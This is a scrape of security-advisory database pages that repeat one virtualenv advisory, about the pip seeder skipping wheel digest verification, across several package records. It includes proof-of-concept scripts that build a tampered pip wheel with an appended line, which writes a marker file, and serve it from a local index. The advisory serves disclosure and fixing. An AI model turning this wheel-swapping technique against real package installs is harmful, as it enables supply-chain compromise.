{os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-sickchill-CVE-2026-113717",
      "modified": "2026-11-19T09:34:56Z",
      "published": "2026-10-29T21:44:32Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "BIT-virtualenv-2026-113717",
        "CVE-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-TOX-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-11-19 09:50 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.8",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "tox",
            "purl": "pkg:brew/tox"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.62.0"
                },
                {
                  "fixed": "4.67.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.8",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.8"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-tox-CVE-2026-113717",
      "modified": "2026-11-19T09:50:00Z",
      "published": "2026-10-26T09:10:34Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-VIRTUALENVWRAPPER-C… (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 10:12 – Updated: 2026-11-19 10:54 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
